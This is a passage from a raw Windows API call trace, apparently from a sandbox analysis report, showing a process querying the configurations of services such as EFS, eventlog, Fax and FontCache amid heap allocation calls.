pcbBytesNeeded=0x18fbe8) returned 1 [0032.560] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95bb0 [0032.561] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95c38 [0032.561] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95bb0) returned 1 [0032.561] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95c38) returned 1 [0032.561] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95c38 [0032.561] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95bb0 [0032.561] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95c38) returned 1 [0032.561] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95bb0) returned 1 [0032.561] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95bb0 [0032.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.561] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23ec8 [0032.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e23ec8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.561] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23f10 [0032.561] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23ec8) returned 1 [0032.561] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23f10) returned 1 [0032.561] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95bb0) returned 1 [0032.561] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23ec8 [0032.561] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95bb0 [0032.561] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95c38 [0032.561] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95cc0 [0032.561] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95d48 [0032.561] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95dd0 [0032.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.561] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23f10 [0032.561] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="efs", cchWideChar=3, lpMultiByteStr=0x1e23f10, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="efs", lpUsedDefaultChar=0x0) returned 3 [0032.561] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23f58 [0032.561] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23f10) returned 1 [0032.561] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23f58) returned 1 [0032.561] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95dd0) returned 1 [0032.561] OpenServiceW (hSCManager=0x2d3600, lpServiceName="EFS", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.562] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.562] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.562] GetLastError () returned 0x7a [0032.562] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x102, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.562] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95dd0 [0032.562] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95e58 [0032.562] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95dd0) returned 1 [0032.562] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95e58) returned 1 [0032.562] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95e58 [0032.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.562] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23f58 [0032.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lsass.exe", cchWideChar=9, lpMultiByteStr=0x1e23f58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lsass.exe", lpUsedDefaultChar=0x0) returned 9 [0032.563] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23f10 [0032.563] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23f58) returned 1 [0032.563] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23f10) returned 1 [0032.563] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95e58) returned 1 [0032.563] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23f10 [0032.563] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95e58 [0032.563] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95dd0 [0032.563] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95ee0 [0032.563] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95f68 [0032.563] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95ff0 [0032.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.563] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23f58 [0032.563] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr", cchWideChar=7, lpMultiByteStr=0x1e23f58, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr", lpUsedDefaultChar=0x0) returned 7 [0032.563] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23fa0 [0032.563] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23f58) returned 1 [0032.563] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23fa0) returned 1 [0032.563] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95ff0) returned 1 [0032.563] OpenServiceW (hSCManager=0x2d3600, lpServiceName="ehRecvr", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.563] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.563] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.564] GetLastError () returned 0x7a [0032.564] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x132, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.564] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95ff0 [0032.564] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d96078 [0032.564] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d95ff0) returned 1 [0032.564] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96078) returned 1 [0032.564] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d96078 [0032.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.564] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23fa0 [0032.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehrecvr.exe", cchWideChar=11, lpMultiByteStr=0x1e23fa0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehrecvr.exe", lpUsedDefaultChar=0x0) returned 11 [0032.564] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23f58 [0032.564] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23fa0) returned 1 [0032.564] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23f58) returned 1 [0032.564] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96078) returned 1 [0032.564] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23f58 [0032.564] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d96078 [0032.564] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d95ff0 [0032.564] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d96100 [0032.564] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d96188 [0032.564] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d96210 [0032.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.564] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23fa0 [0032.564] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched", cchWideChar=7, lpMultiByteStr=0x1e23fa0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched", lpUsedDefaultChar=0x0) returned 7 [0032.564] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23fe8 [0032.564] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23fa0) returned 1 [0032.564] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23fe8) returned 1 [0032.564] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96210) returned 1 [0032.564] OpenServiceW (hSCManager=0x2d3600, lpServiceName="ehSched", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.565] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.565] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.565] GetLastError () returned 0x7a [0032.565] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x134, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.565] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d96210 [0032.565] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d96298 [0032.565] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96210) returned 1 [0032.565] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96298) returned 1 [0032.565] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d96298 [0032.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.565] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23fe8 [0032.565] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ehsched.exe", cchWideChar=11, lpMultiByteStr=0x1e23fe8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ehsched.exe", lpUsedDefaultChar=0x0) returned 11 [0032.565] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23fa0 [0032.565] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23fe8) returned 1 [0032.565] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23fa0) returned 1 [0032.565] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96298) returned 1 [0032.565] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0xc0) returned 0x1d97310 [0032.566] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93f70) returned 1 [0032.566] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23fa0 [0032.566] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93f70 [0032.566] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d94fe8 [0032.566] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d96298 [0032.566] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d96210 [0032.566] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d96320 [0032.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.566] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23fe8 [0032.566] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventlog", cchWideChar=8, lpMultiByteStr=0x1e23fe8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventlog", lpUsedDefaultChar=0x0) returned 8 [0032.566] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e24030 [0032.566] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23fe8) returned 1 [0032.566] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e24030) returned 1 [0032.566] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96320) returned 1 [0032.566] OpenServiceW (hSCManager=0x2d3600, lpServiceName="eventlog", dwDesiredAccess=0x1) returned 0x2d3790 [0032.566] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.566] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.566] GetLastError () returned 0x7a [0032.566] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x156, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.567] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x100) returned 0x1d973d8 [0032.567] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93f70) returned 1 [0032.567] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d93f70 [0032.567] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d96320 [0032.567] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d93f70) returned 1 [0032.567] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96320) returned 1 [0032.567] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d96320 [0032.567] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d963a8 [0032.567] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d96320) returned 1 [0032.567] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d963a8) returned 1 [0032.567] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d963a8 [0032.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.567] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e24030 [0032.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24030, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.567] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23fe8 [0032.567] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e24030) returned 1 [0032.567] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1e23fe8) returned 1 [0032.567] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d963a8) returned 1 [0032.567] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1e23fe8 [0032.567] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d963a8 [0032.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.567] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x1e24030, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0032.567] OpenServiceW (hSCManager=0x2d3600, lpServiceName="EventSystem", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.567] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.568] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.568] GetLastError () returned 0x7a [0032.568] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x12c, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24078, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0032.568] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x1e24078, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0032.568] OpenServiceW (hSCManager=0x2d3600, lpServiceName="Fax", dwDesiredAccess=0x1) returned 0x2d37e0 [0032.568] CloseServiceHandle (hSCObject=0x2d36f0) returned 1 [0032.568] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.569] GetLastError () returned 0x7a [0032.569] QueryServiceConfigW (in: hService=0x2d37e0, lpServiceConfig=0x1d92850, cbBufSize=0x124, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fxssvc.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0032.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fxssvc.exe", cchWideChar=10, lpMultiByteStr=0x1e240c0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fxssvc.exe", lpUsedDefaultChar=0x0) returned 10 [0032.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0032.569] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdphost", cchWideChar=7, lpMultiByteStr=0x1e240c0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdphost", lpUsedDefaultChar=0x0) returned 7 [0032.569] OpenServiceW (hSCManager=0x2d3600, lpServiceName="fdPHost", dwDesiredAccess=0x1) returned 0x2d36c8 [0032.569] CloseServiceHandle (hSCObject=0x2d37e0) returned 1 [0032.569] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.570] GetLastError () returned 0x7a [0032.570] QueryServiceConfigW (in: hService=0x2d36c8, lpServiceConfig=0x1d92850, cbBufSize=0x154, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24108, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0032.570] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fdrespub", cchWideChar=8, lpMultiByteStr=0x1e24108, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fdrespub", lpUsedDefaultChar=0x0) returned 8 [0032.570] OpenServiceW (hSCManager=0x2d3600, lpServiceName="FDResPub", dwDesiredAccess=0x1) returned 0x2d3790 [0032.570] CloseServiceHandle (hSCObject=0x2d36c8) returned 1 [0032.570] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.570] GetLastError () returned 0x7a [0032.570] QueryServiceConfigW (in: hService=0x2d3790, lpServiceConfig=0x1d92850, cbBufSize=0x186, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, pcbBytesNeeded=0x18fbe8) returned 1 [0032.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1e24150, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0032.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fontcache", cchWideChar=9, lpMultiByteStr=0x1e24150, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fontcache", lpUsedDefaultChar=0x0) returned 9 [0032.571] OpenServiceW (hSCManager=0x2d3600, lpServiceName="FontCache", dwDesiredAccess=0x1) returned 0x2d36f0 [0032.571] CloseServiceHandle (hSCObject=0x2d3790) returned 1 [0032.571] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0032.571] GetLastError () returned 0x7a [0032.571] QueryServiceConfigW (in: hService=0x2d36f0, lpServiceConfig=0x1d92850, cbBufSize=0x158, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1d92850, 